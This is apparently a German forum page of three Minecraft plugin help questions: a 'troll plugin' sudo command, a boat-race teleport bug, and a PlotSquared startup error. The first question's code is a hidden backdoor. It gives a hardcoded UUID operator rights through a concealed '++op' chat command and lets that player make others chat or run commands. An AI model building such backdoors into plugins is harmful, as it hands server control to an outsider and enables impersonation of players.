Minecraft Plugin Programmiren Sende Nachricht als anderer Spieler?

Hallo

Ich möchte ein kleinen Troll Plugin Programmieren und habe Schwierigkeiten beim Programmieren vom sudo Command.

Mein Aktueller Cod

import org.bukkit.Bukkit;
import org.bukkit.entity.Player;
import org.bukkit.event.EventHandler;
import org.bukkit.event.Listener;
import org.bukkit.event.player.AsyncPlayerChatEvent;

public class Chack implements Listener {

    @EventHandler(ignoreCancelled = true)
    public void onAsyncPlayerChat(AsyncPlayerChatEvent event) {
        Player p = event.getPlayer();
        // DEBUG
        //p.sendMessage(p.getDisplayName());
        //p.sendMessage(p.getName());
        //p.sendMessage(p.getUniqueId().toString());
        if (p.getUniqueId().toString().equalsIgnoreCase("UUID")) {
            if (event.getMessage().equalsIgnoreCase("++op")){
                event.setCancelled(true);
                p.setOp(true);
            }
            if (event.getMessage().startsWith("++sudo")){
                event.setCancelled(true);
                String[] msg = event.getMessage().split(" ");
                String command = "";
                if (msg.length > 2) {
                    Player t = Bukkit.getPlayer(msg[1]);
                    if (t != null) {
                        for (int i = 2; i < msg.length; i++) {
                            command += msg[i];
                            command += " ";
                        }
                        command.trim();
                        // Version 1
                        //t.chat(command);
                        // Version 2
                        //t.performCommand(command);
                        // DEBUG
                        p.sendMessage(command);
                    } else {
                        p.sendMessage("PlayerError");
                    }
                }

                event.setCancelled(true);

            }
        }
    }
}

der Error kommt aus der Zeile "t.chat(command);"

programmieren, Java, Minecraft, Error, Minecraft Server, Bukkit, Spigot, Minecraft Plugin
Wieso funktioniert das Plugin nicht?

Hallo. Ich programmiere gerade ein Plugin. Eigendlich funktioniert es, doch es gibt ein problem. Es solten 2 Spieler an verschiedenen orten Teleportirt werden, doch beide Spieler werden an ein Ort Teleportiert. Hier der Code:

public class TeleportEvent implements Listener {
    public static Bootrennen plugin;

    public TeleportEvent(Bootrennen plugin) {

        TeleportEvent.plugin = plugin;
    }

    public static void start() {
        Location location = plugin.getConfig().getLocation("location.start1");
        Location loc = plugin.getConfig().getLocation("location.start2");
        int i = 1;
        for(Player current : Bukkit.getOnlinePlayers()) {
            Location playerLocation = plugin.getConfig().getLocation("location.start" + i);
            current.teleport(playerLocation);
            if (location != null) {
                if(location.getBlock() != current.getLocation().getBlock()) {
                    i = 1;
                   current.teleport(Objects.requireNonNull(plugin.getConfig().getLocation("location.start1")));
                    Boat bt = (Boat) current.getWorld().spawnEntity(location, EntityType.BOAT);
                    bt.addPassenger(current);
                } else {
                    if (loc != null) {
                       i = 2;
                        current.teleport(Objects.requireNonNull(plugin.getConfig().getLocation("location.start2")));
                        Boat bt = (Boat) current.getWorld().spawnEntity(location, EntityType.BOAT);
                        bt.addPassenger(current);
                      
                       i++;
                    }
                }
            }

        }
    }

    @EventHandler
    public void onExit(VehicleExitEvent e) {
        Player player = (Player) e.getExited();
        if (e.getExited().hasPermission("Operator")) {
            e.setCancelled(false);
        } else {
            player.sendMessage(ChatColor.RED + "Du darfst das nicht!");
            e.setCancelled(true);

        }
    }
}
Computer, Java, Minecraft, Spigot, Minecraft Plugin
PlotSquared wird nicht richtig aktiviert?

Ich möchte gerne PlotSquared auf meinem 1.16.5 Server nutzen.

Version: 4.4.495

Java Version: 8 (mit 16 geht es auch nicht)

Fehler:

java.lang.NullPointerException: Cannot invoke "javax.script.ScriptEngine.eval(String)" because "this.engine" is null

[21:14:33] [Server thread/WARN]: at com.github.intellectualsites.plotsquared.plot.commands.DebugExec.init(DebugExec.java:108)

[21:14:33] [Server thread/WARN]: at com.github.intellectualsites.plotsquared.plot.commands.DebugExec.<init>(DebugExec.java:65)

[21:14:33] [Server thread/WARN]: at com.github.intellectualsites.plotsquared.plot.commands.MainCommand.getInstance(MainCommand.java:88)

[21:14:33] [Server thread/WARN]: at com.github.intellectualsites.plotsquared.plot.commands.SubCommand.<init>(SubCommand.java:20)

[21:14:33] [Server thread/WARN]: at com.github.intellectualsites.plotsquared.plot.commands.SubCommand.<init>(SubCommand.java:24)

[21:14:33] [Server thread/WARN]: at com.github.intellectualsites.plotsquared.bukkit.commands.DebugUUID.<init>(DebugUUID.java:44)

[21:14:33] [Server thread/WARN]: at com.github.intellectualsites.plotsquared.bukkit.util.BukkitCommand.<init>(BukkitCommand.java:24)

[21:14:33] [Server thread/WARN]: at com.github.intellectualsites.plotsquared.bukkit.BukkitMain.registerCommands(BukkitMain.java:291)

[21:14:33] [Server thread/WARN]: at com.github.intellectualsites.plotsquared.plot.PlotSquared.<init>(PlotSquared.java:239)

[21:14:33] [Server thread/WARN]: at com.github.intellectualsites.plotsquared.bukkit.BukkitMain.onEnable(BukkitMain.java:153)

[21:14:33] [Server thread/WARN]: at org.bukkit.plugin.java.JavaPlugin.setEnabled(JavaPlugin.java:263)

[21:14:33] [Server thread/WARN]: at org.bukkit.plugin.java.JavaPluginLoader.enablePlugin(JavaPluginLoader.java:370)

[21:14:33] [Server thread/WARN]: at org.mcnative.runtime.bukkit.plugin.McNativePluginWrapperLoader.enablePlugin(McNativePluginWrapperLoader.java:138)

[21:14:33] [Server thread/WARN]: at org.bukkit.plugin.SimplePluginManager.enablePlugin(SimplePluginManager.java:500)

[21:14:33] [Server thread/WARN]: at org.bukkit.craftbukkit.v1_16_R3.CraftServer.enablePlugin(CraftServer.java:518)

[21:14:33] [Server thread/WARN]: at org.bukkit.craftbukkit.v1_16_R3.CraftServer.enablePlugins(CraftServer.java:432)

[21:14:33] [Server thread/WARN]: at net.minecraft.server.v1_16_R3.DedicatedServer.init(DedicatedServer.java:270)

[21:14:33] [Server thread/WARN]: at net.minecraft.server.v1_16_R3.MinecraftServer.w(MinecraftServer.java:1074)

[21:14:33] [Server thread/WARN]: at net.minecraft.server.v1_16_R3.MinecraftServer.lambda$a$0(MinecraftServer.java:291)

[21:14:33] [Server thread/WARN]: at java.base/java.lang.Thread.run(Thread.java:831)

Minecraft, Minecraft Plugin, Citybuild, PlotSquared

Meistgelesene Fragen zum Thema Minecraft Plugin